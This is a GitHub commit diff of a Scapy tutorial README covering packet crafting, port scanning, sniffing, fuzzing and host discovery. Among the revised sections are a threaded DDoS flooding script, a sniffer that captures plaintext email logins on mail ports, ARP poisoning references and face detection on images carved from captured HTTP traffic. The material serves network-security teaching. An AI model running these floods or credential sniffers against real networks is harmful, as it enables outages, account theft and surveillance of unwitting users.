Skip to content

Commit

Permalink
readme scapy
Browse files Browse the repository at this point in the history
  • Loading branch information
Mari Wahl committed Dec 29, 2014
1 parent 5e0ef6f commit 5e80392
Showing 1 changed file with 82 additions and 43 deletions.
125 changes: 82 additions & 43 deletions Network_and_802.11/scapy/README.md
Original file line number Diff line number Diff line change
@@ -1,16 +1,15 @@
# The Scapy Module (by bt3)


**Scapy** is able to forge and decode packets of several protocols, send and capture them, match requests and replies, and much more. It can be used to handle most network tasks such as scanning, tracerouting, probing, attacks, network discovery, to name a few.
[Scapy](http:https://www.secdev.org/projects/scapy/) is able to send and capture packets of several protocols, forging and decoding them to be used to most network tasks such as scanning, tracerouting, probing, attacks, and network discovery.


Before we start, make sure you have Scapy in your machine:
In this post I will talk about some of my favorite scripts. But, before we start, make sure you have Scapy in your machine:

```sh
$ pip install scapy
```

You can test the installation firing up Scapy iteratively. For example, these are some useful functions:
You can test the installation firing up Scapy iteratively. These are some useful functions:
```sh
$ scapy
Welcome to Scapy (2.2.0)
Expand All @@ -20,12 +19,12 @@ Welcome to Scapy (2.2.0)
>>> help(sniff) --> Help for a specific command
```

This post is divided as the following:
### Contents:

* [Scapy 101 (including sniffing, scanning, fuzzing,...)](#intro),
* [Stealing Plain Text Email Data](#email),
* [ARP Poisoning a Machine](#arp), and
* [Processing PCAP Files](#pcap).
* [Scapy 101 (including sniffing, scanning, fuzzing,...)](#intro)
* [Stealing Plain Text Email Data](#email)
* [ARP Poisoning a Machine](#arp)
* [Processing PCAP Files](#pcap)


-----------------------------------------------
Expand Down Expand Up @@ -114,7 +113,7 @@ Sent 1 packets.

### Sending an ICMP Packet

For example, let us create an ICMP packet with some message:
Now let's add some content to our packet. An ICMP packet with a message is created like this:
```python
from scapy.all import *
packet = IP(dst="192.168.1.114")/ICMP()/"Helloooo!"
Expand Down Expand Up @@ -155,7 +154,7 @@ Sent 1 packets.
This is how this packet looks like in [Wireshark]():
![](http:https://i.imgur.com/jjuWHaZ.png)

To send the same packet over again we can simply add the **loop=1** argument within the **send** method:
To send a packet over several times we add the **loop=1** argument within the **send** method:

```python
send(packet, loop=1)
Expand All @@ -170,7 +169,7 @@ Which looks like this in Wireshark:

Scapy also has the ability to listen for responses to packets it sends (for example, ICMP ping requests).

As in the send method, Scapy has two types of packet sending & receiving, based on the network layer.
As in the send method, Scapy has two types of packet sending & receiving depending on the network layer.

In the *layer 3*, the methods are [sr and sr1](http:https://www.secdev.org/projects/scapy/doc/usage.html#send-and-receive-packets-sr). The former returns the answered and unanswered packets, while the last only returns answered and sent packets.

Expand All @@ -181,7 +180,7 @@ A good way to remember their differences is to keep in mind that functions with

### Sending & Receiving a ICMP Packet

For example, we can build an IP packet carrying an ICMP header, which has a default type of echo request, and use the **sr()** function to transmit the packet and record any response:
Let's build an IP packet carrying an ICMP header (which has a default type of echo request), and use the **sr()** function to transmit the packet and record any response:

```python
from scapy.all import *
Expand All @@ -191,7 +190,7 @@ result, unanswered=output
print '\nResult is:' + result
```

Running the above snippet results in:
Running this snippet results in:
```sh
$ sudo python receive_packet.py
Begin emission:
Expand Down Expand Up @@ -236,13 +235,13 @@ ip = IP(src='192.168.1.114', dst='192.168.1.25')
2) we define a SYN instance of the TCP header:

```
SYN = TCP(sport=1024, dport=80, flags='S', seq=12345)
tcp_syn = TCP(sport=1024, dport=80, flags='S', seq=12345)
```

3) we send this and capture the server's response with **sr1**:

```
packet = ip/SYN
packet = ip/tcp_syn
SYNACK = sr1(packet)
```

Expand All @@ -252,28 +251,28 @@ SYNACK = sr1(packet)
ack = SYNACK.seq + 1
```

5) we create a new instance of the TCP header **ACK**, which now has the flag **A** (placing the acknowledgment value for the server there) and we send everything out:
5) we create a new instance of the TCP header **ACK**, which now has the flag **A** (placing the acknowledgment value for the server) and we send everything out:

```
ACK = TCP(sport=1024, dport=80, flags='A', seq=12346, ack=ack)
send(ip/ACK)
tcp_ack = TCP(sport=1024, dport=80, flags='A', seq=12346, ack=ack)
send(ip/tcp_ack)
```

6) Finally, we create the segment with no TCP flags and payload and send it:
6) Finally, we create the segment with no TCP flags or payload and send it back:

```python
PUSH = TCP(sport=1024, dport=80, flags='', seq=12346, ack=ack)
tcp_push = TCP(sport=1024, dport=80, flags='', seq=12346, ack=ack)
data = "HELLO!"
send(ip/PUSH/data)
send(ip/tcp_push/data)
```


However, running the snippet above will not work.
However, running the snippet above will not work!

The reason is that crafting TCP sessions with Scapy circumvents the native TCP/IP stack. Since the host is unaware that Scapy is sending packets, the native host would receive an unsolicited SYN/ACK that is not associated with any known open session/socket. This would result in the host reseting the connection when receiving the SYN/ACK.


One solution is to use the host's firewall with [iptables](http:https://en.wikipedia.org/wiki/Iptables) to block the outbound resets. For example, to drop all outbound packets that are TCP and destined for IP 192.168.1.25 from 192.168.1.114 to destination port 80, examining the flag bits, we can run:
One solution is to use the host's firewall with [iptables](http:https://en.wikipedia.org/wiki/Iptables) to block the outbound resets. For example, to drop all outbound packets that are TCP and destined to IP 192.168.1.25 from 192.168.1.114, destination port 80, we run:

```sh
$ sudo iptables -A OUTPUT -p tcp -d 192.168.1.25 -s 192.168.1.114 --dport 80 --tcp-flags RST -j DROP
Expand All @@ -285,10 +284,7 @@ This does not prevent the source host from generating a reset each time it recei
---
## Network Scanning and Sniffing

Now that we know the Scapy basics, let's learn how to perform a **port scanning**.


A very simple scanner can be crafted by sending a TCP/IP packet with the TCP flag set to SYM to every port in the range 1-1024 (this will take a couple of minutes to scan):
Let's learn how to perform a simple **port scanning**. This can be crafted by sending a TCP/IP packet with the TCP flag set to SYM to every port in the range 1-1024 (this will take a couple of minutes to scan):

```python
res, unans = sr( IP(dst='192.168.1.114')/TCP(flags='S', dport=(1, 1024)))
Expand All @@ -299,10 +295,12 @@ We can check the output with:
res.summary()
```

For more advanced stuff, check out [my script for scanning subnet in selected ports](https://github.com/bt3gl/My-Gray-Hacker-Resources/blob/master/Network_and_802.11/scapy/super_scanner.py).

### The Sniff() Method

In Scapy, packet sniffing can be done with the function [sniff()](http:https://www.secdev.org/projects/scapy/doc/usage.html#sniffing). The **iface** parameter tells the sniffer which network interface to sniff on. The **count** parameter specifies how many packet we want to sniff (where a blank value is infinite):

In Scapy, packet sniffing can be done with the function [sniff()](http:https://www.secdev.org/projects/scapy/doc/usage.html#sniffing). The **iface** parameter tells the sniffer which network interface to sniff on. The **count** parameter specifies how many packet we want to sniff (where a blank value is infinite). The **timeout** parameter stop sniffing after a given time:

```python
>>>> p = sniff(iface='eth1', timeout=10, count=5)
Expand All @@ -316,7 +314,7 @@ We can specify filters too:

We can also use **sniff** with a customized callback function to every packet that matches the filter, with the **prn** parameter:

```python
```python--
def packet_callback(packet):
print packet.show()
Expand All @@ -330,10 +328,12 @@ To see the output in real time and dump the data into a file, we use the **lambd
>>>> wrpcap('packets.pcap', p)
```



----
## Changing a Routing Table

To look to the routing table of our machine we can just print the Scapy's command **conf.route**:
To look at the routing table of our machine we use the Scapy's command **conf.route**:
```
Network Netmask Gateway Iface Output IP
127.0.0.0 255.0.0.0 0.0.0.0 lo 127.0.0.1
Expand Down Expand Up @@ -401,7 +401,7 @@ Here is a DNS fuzzer:
>>> send(IP(dst='192.168.1.114')/UDP()/fuzz(DNS()), inter=1,loop=1)
```

We can use fuzzers for something more interesting. For example to craft a [DDOS] script. This is a very simple example I have in my repository:
We can use fuzzers for something more interesting. For example to craft a [DDOS](http:https://en.wikipedia.org/wiki/Denial-of-service_attack) script. This is a very simple example I have in my repository:

```python
import threading
Expand Down Expand Up @@ -461,10 +461,45 @@ if __name__ == '__main__':
option(int(count), op, ip, port)
```
### Pinging the Network
We can perform **ping** operations with several protocols using Scapy. The fastest way to discover hosts on a local Ethernet network is to use ARP:
```python
def arp_ping(host):
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=host), timeout=2)
ans.summary(lambda (s, r): r.sprintf("%Ether.src% %ARP.psrc%"))
```
In other cases we can use ICMP ping:
```python
def icmp_ping(host):
ans, unans = sr(IP(dst=host)/ICMP())
ans.summary(lambda (s, r): r.sprintf("%IP.src% is alive"))
```
In case when ICMP echo requests are blocked, we can still use TCP:
```python
def tcp_ping(host, port):
ans, unans = sr(IP(dst=host)/TCP(dport=port, flags="S"))
ans.summary(lambda(s, r): r.sprintf("%IP.src% is alive"))
```
Or even UDP (which produces ICMP port unreachable errors from live hosts). We can pick any port which is most likely to be closed, such as port 0:
```python
def udp_ping(host, port=0):
ans, unans = sr(IP(dst=host)/UDP(dport=port))
ans.summary(lambda(s, r): r.sprintf("%IP.src% is alive"))
```
### More Networking
Scapy can perform simple networking functions such as [traceroute](http:https://www.secdev.org/projects/scapy/doc/usage.html#tcp-traceroute-2) or [ping](http:https://www.secdev.org/projects/scapy/doc/usage.html#send-and-receive-in-a-loop):
Scapy can perform simple networking functions such as [traceroute](http:https://www.secdev.org/projects/scapy/doc/usage.html#tcp-traceroute-2):
```python
>>>> print scapy.traceroute('www.google.com')
Expand All @@ -475,10 +510,10 @@ Or be used to discover hosts on the local Ethernet, with [arping](http:https://www.sec
>>>> print arping('192.168.1.114')
```
Scapy has also commands for network-based attack such as [arpcachepoison and srpflood](http:https://www.secdev.org/projects/scapy/doc/usage.html#tcp-traceroute).
Scapy also has commands for network-based attack such as [arpcachepoison and srpflood](http:https://www.secdev.org/projects/scapy/doc/usage.html#tcp-traceroute).
Additionally, we can use Scapy to re-create a packet that has been sniffed or received. The method **command()** returns a string of the commands necessary for this task.
Additionally, we can use Scapy to re-create a packet that has been sniffed or received. The method **command()** returns a string of the commands necessary for this task. Its output is similar to the command **show()**.
### Plotting
Expand Down Expand Up @@ -526,7 +561,7 @@ def packet_callback(packet):
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)
```
Running this script when loading load some mail client (such as [Thunderbird](https://www.mozilla.org/en-US/thunderbird/)) will allow us to see the login information, if they are sent to the server as plain text.
Running this script when loading some mail client (such as [Thunderbird](https://www.mozilla.org/en-US/thunderbird/)) will allow us to see the login information (useful if they are sent to the server as plain text).
Expand Down Expand Up @@ -680,7 +715,7 @@ Once you are done, open the PCAP file resulting from the script. BAM! The entir
We have learned how to steal credentials from some email protocols, now let us extend this to all the traffic in the network!
### Writing and Saving PCAP Files
### The PCAP Files Manipulation
To save packets we can use the function **wrpacp**:
```python
Expand All @@ -693,7 +728,8 @@ p = rdpcap('packets.pcap', p)
p.show()
```
### Analyzing PCAP Files
### Setting up the Enviroment
Based in one of the examples from [Black Hat Python]() we are going to analyze images from HTTP traffic dumped in a PCAP file. We can do this with the library [opencv](http:https://opencv.org/). We also need to install [numpy](http:https://www.numpy.org/) and [scipy](http:https://www.scipy.org/):
Expand All @@ -706,9 +742,11 @@ $ sudo yum install opencv-python
We are going to go through a script that tries to detect image with human faces. But, first, either create or download a PCAP file with these images. For instance, these are some PCAP dump online sources:
[here](http:https://wiki.wireshark.org/SampleCaptures), [here](http:https://www.netresec.com/?page=PcapFiles), [here](http:https://www.pcapr.net/home), and [here](http:https://www.pcapr.net/browse?q=facebook+AND+png).
OUr script will basically do the following:
### Analyzing PCAP Files
Now we are ready to automatically find human faces from HTTP traffic dump. Our script basically does the following:
1) The function **http_assembler** takes a PCAP and separates each TCP session in a dictionary. Then it loops in these section using the HTTP filter (which is the same as *Follow the TCP stream* in Wireshark). After the HTTP data is assembled, it parses the headers with the **get_http_headers** function and send to the **extract_image** function. If image headers are returned, it saves the image and try to detect faces with the function **face_detect**.
1) The function **http_assembler** takes a PCAP and separates each TCP session in a dictionary. Then it loops in these sections using the HTTP filter (which is the same as *Follow the TCP stream* in Wireshark). After the HTTP data is assembled, the headers are parsed with the **get_http_headers** function and sent to the **extract_image** function. If image headers are returned, they are saved and sent to the function **face_detect**.
```python
def http_assembler(PCAP):
Expand Down Expand Up @@ -757,7 +795,7 @@ def get_http_headers(http_payload):
return headers
```
3) The **extract_image** extract the data part from the HTTP content, decopressing it if necessary:
3) The **extract_image** extract the data part from the HTTP content, decompressing it if necessary:
```python
def extract_image(headers, http_payload):
Expand All @@ -779,7 +817,7 @@ def extract_image(headers, http_payload):
return image, image_type
```
4) Finally, the **face_detect** function uses the **opencv** library to apply a classifier that is trained for detecting faces. It returns a rectangle coordinates to where the face is and saves the final image. Several types of image classifiers can be found [here](http:https://alereimondo.no-ip.org/OpenCV/34):
4) Finally, the **face_detect** function uses the **opencv** library to apply a classifier that is trained for detecting faces. It returns a rectangle coordinates to where the face is and saves the final image (by the way, beyond face detection, other types of image classifiers can be found [here](http:https://alereimondo.no-ip.org/OpenCV/34)):
```python
def face_detect(path, file_name):
Expand Down Expand Up @@ -815,8 +853,9 @@ Detected: 16 faces
## Further References:
- [Scapy Documentation](http:https://www.secdev.org/projects/scapy/doc/).
- [Scapy Advanced Usage](http:https://www.secdev.org/projects/scapy/doc/advanced_usage.html)
- [Scapy Examples](http:https://www.secdev.org/projects/scapy/doc/usage.html).
- [Wifitap: PoC for communication over WiFi networks using traffic injection](http:https://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html).
- [SurfJack: hijack HTTP connections to steal cookies](https://code.google.com/p/surfjack/)
- [Black Hat Python](http:https://www.nostarch.com/blackhatpython).
- [Making a xmas tree packet](http:https://thepacketgeek.com/scapy-p-08-making-a-christmas-tree-packet/).

0 comments on commit 5e80392

Please sign in to comment.